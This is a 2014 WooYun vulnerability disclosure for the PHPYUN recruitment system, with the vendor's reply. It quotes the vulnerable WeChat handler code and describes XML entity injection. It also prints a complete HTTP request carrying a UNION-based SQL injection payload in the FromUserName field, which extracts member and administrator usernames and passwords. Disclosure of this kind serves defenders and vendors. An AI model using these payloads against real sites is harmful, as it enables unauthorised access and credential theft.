当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-064678

漏洞标题:PHPYUN最新版XML注入及SQL注入获取管理员账号(无视任何防御)

相关厂商:php云人才系统

漏洞作者: xfkxfk

提交时间:2014-06-12 17:40

修复时间:2014-09-10 17:42

公开时间:2014-09-10 17:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-12: 细节已通知厂商并且等待厂商处理中
2014-06-12: 厂商已经确认,细节仅向厂商公开
2014-06-15: 细节向第三方安全合作伙伴开放
2014-08-06: 细节向核心白帽子及相关领域专家公开
2014-08-16: 细节向普通白帽子公开
2014-08-26: 细节向实习白帽子公开
2014-09-10: 细节向公众公开

简要描述:

早上提交了个XML实体读取任意文件的,结果厂商说是数字被提交了,顿时无语了。
这里还有一个XML注入及SQL注入,如果说又是数字被提交了,我保证不在挖你们的漏洞了!!!

详细说明:

首先我们来说一说$GLOBALS["HTTP_RAW_POST_DATA"]这个东东,他会吧POST过来的内容原封不动的传进来,所以phpyun的那些铜墙铁壁的防御也就没用了!!!
还是文件:weixin/model/index.class.php
XML实体注入:

private function responseMsg()
{
$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];


if (!empty($postStr)){

$postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
$fromUsername = $postObj->FromUserName;
$toUsername = $postObj->ToUserName;
$keyword = trim($postObj->Content);
$time = time();
$textTpl = "<xml>
<ToUserName><![CDATA[%s]]></ToUserName>
<FromUserName><![CDATA[%s]]></FromUserName>
<CreateTime>%s</CreateTime>
<MsgType><![CDATA[%s]]></MsgType>
<Content><![CDATA[%s]]></Content>
<FuncFlag>0</FuncFlag>
</xml>";
if(!empty( $keyword ))
{
$msgType = "text";
$contentStr = "Welcome to wechat world!";
$resultStr = sprintf($textTpl, $fromUsername, $toUsername, $time, $msgType, $contentStr);
echo $resultStr;
}else{
echo "Input something...";
}
}else {
echo "";
exit;
}
}


这里将$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];通过simplexml_load_string解析后的内容,直接带入了$textTpl。
然而$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];就是直接获取的POST过来的XML内容,没有经过任何处理,最后将其echo出来了。

$resultStr = sprintf($textTpl, $fromUsername, $toUsername, $time, $msgType, $contentStr);
echo $resultStr;


整个过程就是传一个XML的内容进去,然后输出一个XML的内容,那么我们结果XML实体注入不就可以读取服务器上的内容,然后再输出出来么?!
##############这个应该不会重复了吧!################
SQL注入

if($MsgType=='event')
{
$MsgEvent = $postObj->Event;
if ($MsgEvent=='subscribe')
{
$centerStr = "<Content><![CDATA[欢迎您关注".iconv('gbk','utf-8',$this->config['sy_webname'])."!\n 1:您可以直接回复关键字如【销售】、【南京 销售】、【南京 销售 XX公司】查找您想要的职位\n绑定您的账户体验更多精彩功能\n感谢您的关注!]]></Content>";
$this->MsgType = 'text';
}elseif ($MsgEvent=='CLICK')
{
$EventKey = $postObj->EventKey;
if($EventKey=='我的帐号'){
$centerStr = $this->bindUser($fromUsername);
}elseif($EventKey=='我的消息')
{
$centerStr = $this->myMsg($fromUsername);
}elseif($EventKey=='面试邀请')
{
$centerStr = $this->Audition($fromUsername);
}elseif($EventKey=='简历查看')
{
$centerStr = $this->lookResume($fromUsername);
}elseif($EventKey=='刷新简历')
{
$centerStr = $this->refResume($fromUsername);


从代码中开出,当满足那上面的条件后都会进入各种的函数,但是都会进入一个isBind函数

例如EventKey=我的账号,就会进入bindUser函数:

private function bindUser($wxid='')
{

$bindType = $this->isBind($wxid);
$this->MsgType = 'text';

return $bindType['cenetrTpl'];

}


然后,我们来看看这个isBind函数:

private function isBind($wxid='')
{

if($wxid)
{
$User = $this->obj->DB_select_once("member","`wxid`='".$wxid."'","`uid`,`username`");
}
if($User['uid']>0)
{
$User['bindtype'] = '1';
$User['cenetrTpl'] = "<Content><![CDATA[您的".iconv('gbk','utf-8',$this->config['sy_webname'])."帐号:".$User['username']."已成功绑定! \n\n\n 您也可以<a href=\"".$this->config['sy_weburl']."/wap/index.php?m=login&wxid=".$wxid."\">点击这里</a>进行解绑或绑定其他帐号]]></Content>";
}else{
$Token = $this->getToken();
$Url = 'https://api.weixin.qq.com/cgi-bin/user/info?access_token='.$Token.'&openid='.$wxid.'&lang=zh_CN';
$CurlReturn = $this->CurlPost($Url);
$UserInfo = json_decode($CurlReturn);

$wxid = $wxid;
$wxname = $UserInfo->nickname;
$this->config['token_time'] = time();
$User['cenetrTpl'] = '<Content><![CDATA[您还没有绑定帐号,<a href="'.$this->config['sy_weburl'].'/wap/index.php?m=login&wxid='.$wxid.'">点击这里</a>进行绑定!]]></Content>';
}
return $User;
}


这里的$wxid就是我们传进来的FromUserName的值,直接进入SQL语句,这里可以任意注入。

漏洞证明:

默认是没有wx_token的。
这里要注意:
signature=da39a3ee5e6b4b0d3255bfef95601890afd80709
Content-Type: text/xml
发送请求:

POST /phpyun/weixin/index.php?m=index&c=index&signature=da39a3ee5e6b4b0d3255bfef95601890afd80709 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: text/xml;charset=utf-8
Content-Length: 354
<?xml version="1.0" encoding="utf-8"?>
<xml>
<ToUserName>1111</ToUserName>
<FromUserName>1111' and 1=2 union select 1,(select concat(username,password) from phpyun_member limit 0,1)#</FromUserName>
<CreateTime>1402550611</CreateTime>
<MsgType>event</MsgType>
<Event>CLICK</Event>
<EventKey>我的账号</EventKey>
<FuncFlag>0</FuncFlag>
</xml>


1.png


返回结果,插件页面源代码:

2.png


成功获取用户信息。
发送:<FromUserName>1111' and 1=2 union select 1,(select concat(username,0x23,password) from phpyun_admin_user limit 0,1)#</FromUserName>
即可获取管理员用户账号。

修复方案:

默认安装时加上随机wx_token,或者处理输入的内容,防御系统在这里已经没用了,着这里在处理一下吧。

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-06-12 17:50

厂商回复:

非常感谢您的提供,我们会加强TOKEN及参数验证,对于之前说的有其他安全平台提前提交,我们只是阐述下确有其事,没有其他任何意思,还望不要介意!

最新状态:

暂无